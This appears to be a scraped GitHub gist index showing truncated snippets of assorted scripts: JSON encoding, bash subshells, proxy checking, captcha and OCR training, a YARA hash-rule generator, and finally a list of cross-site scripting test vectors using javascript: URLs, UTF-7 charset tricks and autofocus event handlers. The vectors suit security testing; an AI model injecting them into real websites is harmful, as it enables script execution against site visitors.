This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import datetime | |
from time import mktime | |
try: | |
import simplejson as json | |
except ImportError: | |
import json | |
class DateTimeEncoder(json.JSONEncoder): # 为 JSONEncoder 进行扩展 | |
def default(self, obj): | |
if isinstance(obj, datetime.datetime): |
This file has been truncated, but you can view the full file.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
echo "\$\$ outside of subshell = $$" # 9602 | |
echo "\$BASH_SUBSHELL outside of subshell = $BASH_SUBSHELL" # 0 | |
echo "\$BASHPID outside of subshell = $BASHPID" # 9602 | |
echo | |
( echo "\$\$ inside of subshell = $$" # 9602 | |
echo "\$BASH_SUBSHELL inside of subshell = $BASH_SUBSHELL" # 1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import requests | |
import cPickle as pickle | |
s = requests.Session() | |
with open('./iplist.list') as proxylists,open("needproxy.pkl","a") as usefull: | |
for proxy in proxylists.readlines(): | |
tmp = { | |
"http": "http://{}:8080".format(proxy), |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# coding: utf-8 | |
import string,random | |
import numpy as np | |
from captcha.image import ImageCaptcha | |
import matplotlib.pyplot as plt | |
from PIL import Image | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# coding:utf-8 | |
""" | |
this code make me look like a idiot. and the O(n^2) is not a good idea, we can use a dict to store the first file info,and just go | |
through the second file, clearly, it can be reduce about (m-n), also, if we use binaray search to O(nlogN), but in python , use dict | |
to do this ,it just only O(1) | |
info sturct like this: [{},{},{}] | |
i will optimized this code later and this code just want show how use the pandas dataframe to convert json to xlsx | |
""" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
for font in $(ls -d $PWD/font/**) | |
do | |
rm -rf ./tmp_img | |
echo "Now we process font file in $font " | |
python3 gen_chinese_character_img.py $font | |
null_img_size=`find ./tmp_img -type f -exec ls -lSd {} + | awk '{print $5}' | uniq | tail -n 1` | |
count="ls ./tmp_img | wc -l" | |
o_count=`eval $count` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
export PATH=$PATH:/home/tesseract/training | |
#for comman training | |
#step 1 : gen img | |
chmod +x ./gen_img.sh | |
./gen_img.sh #gen_img is my script to generator the image, you can see it in my another gist | |
#step 2 : gen box file and gen tr file |
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
#example: | |
#------------------------------------------------------------------------------------------------ | |
#import "hash" | |
#rule wordpress | |
# { | |
# condition: | |
# /* /home/mour/working/data/wordpress/wordpress-mu-2.6.3/wp-admin */ | |
# hash.sha1(0, filesize) == "a677f8f321832903f361f21ff07cbbac82c132f4" or |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
>>> vectors() | |
<div id="1"><form id="test"></form><button form="test" formaction="javascript:alert(1)">X</button>//["'`-->]]>]</div><div id="2"><meta charset="x-imap4-modified-utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi//["'`-->]]>]</div><div id="3"><meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>//["'`-->]]>]</div><div id="4">0?<script>Worker("#").onmessage=function(_)eval(_.data)</script> :postMessage(importScripts('data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk'))//["'`-->]]>]</div><div id="5"><script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(5)',384,null,'rsa-dual-use')</script>//["'`-->]]>]</div><div id="6"><script>({set/**/$($){_/**/setter=$,_=1}}).$=alert</script>//["'`-->]]>]</div><div id="7"><input onfocus=alert(7) autofocus>//["'`-->]]>]</div><div id="8"><input onblur=alert(8) autofocus><input autofocus>//["'`-->]]>]</div><div id="9"><a style="-o-link:'javascript:alert(9)';-o-link-source |